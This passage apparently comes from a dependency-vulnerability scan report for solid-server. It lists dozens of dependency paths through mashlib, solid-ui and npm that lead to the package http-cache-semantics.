  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmteam@8.0.2 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › npm-profile@12.0.2 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpublish@11.2.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpublish@11.2.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpublish@11.2.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpublish@11.2.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
